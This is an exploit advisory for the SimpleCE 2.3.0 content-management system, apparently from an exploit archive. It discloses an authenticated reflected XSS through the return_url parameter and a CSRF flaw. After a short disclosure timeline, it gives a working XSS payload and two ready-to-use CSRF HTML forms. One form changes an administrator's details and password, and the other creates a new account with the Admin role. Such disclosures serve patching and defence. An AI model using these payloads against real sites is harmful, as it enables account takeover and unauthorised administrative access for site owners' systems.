SimpleCE 2.3.0 Cross Site Request Forgery / Cross Site Scripting

`# Exploit Title: SimpleCE 2.3.0 - Multiple Vulnerabilities XSS CSRF  
# Date: 2017-06-14  
# Exploit Author: 8bitsec  
# Vendor Homepage: http://simplece.com  
# Software Link: https://codecanyon.net/item/simplece-v2-mini-cms/9140868  
# Version: 2.3.0, probably older versions  
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.5]  
# Email: [email protected]  
# Contact: https://twitter.com/_8bitsec  
  
Release Date:  
=============  
2017-06-14  
  
  
Product & Service Introduction:  
===============================  
SimpleCE is a simple Content-Management System with front-end editor mode.  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-06-13: Vulnerability found.  
2017-06-13: Reported to vendor.  
2017-06-14: No answer.  
2017-06-14: Published.  
  
  
Technical Details & Description:  
================================  
  
Authenticated XSS vulnerability found on http://[server]/[path]/index.php/content/text/1?return_url=[XSS] exploitable as a regular or admin user.  
CSRF vulnerability can be exploited to add an administrator or change its info including password.  
  
Proof of Concept (PoC):  
=======================  
  
XSS:  
  
http://[server]/[path]/index.php/content/text/1?return_url=<svg/onload=alert(/8bitsec/)>  
  
CSRF:  
  
Modify User:  
  
<form action="http://[server]/[path]/index.php/user/1" autocomplete="off" method="post" accept-charset="utf-8">  
<label>Username<input type="text" name="username" id="username" placeholder="Username" value="admin" required="required" /></label>  
<label>Email<input type="email" name="email" id="email" placeholder="Email" value="[email protected]" required="required" /></label>  
<label>Firstname<input type="text" name="firstname" id="firstname" placeholder="Firstname" value="John" /></label>  
<label>Surname<input type="text" name="surname" id="surname" placeholder="Surname" value="Doe" /></label>  
<label>Password<input type="password" name="password" id="password" placeholder="Password" /></label>  
<label>Password (repeat)<input type="password" name="password2" id="password2" placeholder="Password (repeat)"/></label>  
<button type="submit" name="save" id="save" value="save">save</button>  
</form>  
  
Add User:  
  
<form action="http://[server]/[path]/index.php/user/new" autocomplete="off" method="post" accept-charset="utf-8">  
<label>Username<input type="text" name="username" id="username" placeholder="Username" value="adminuser" required="required" /></label>  
<label>Email<input type="email" name="email" id="email" placeholder="Email" value="[email protected]" required="required" />  
<label>Firstname<input type="text" name="firstname" id="firstname" placeholder="Firstname" value="admin" />  
<label>Surname<input type="text" name="surname" id="surname" placeholder="Surname" value="user" /></label>  
<label>Password<input type="password" name="password" id="password" placeholder="Password" required="required" /></label>  
<label>Password (repeat)<input type="password" name="password2" id="password2" placeholder="Password (repeat)" required="required" /></label>  
<label for="group">Role<select name="group" id="group" required="required">  
<option value="2" >User</option>  
<option value="1" selected="selected">Admin</option>  
</select>  
</label>  
<button type="submit" name="save" id="save" value="save">save</button>  
</form>  
  
  
Credits & Authors:  
==================  
8bitsec - [https://twitter.com/_8bitsec]  
`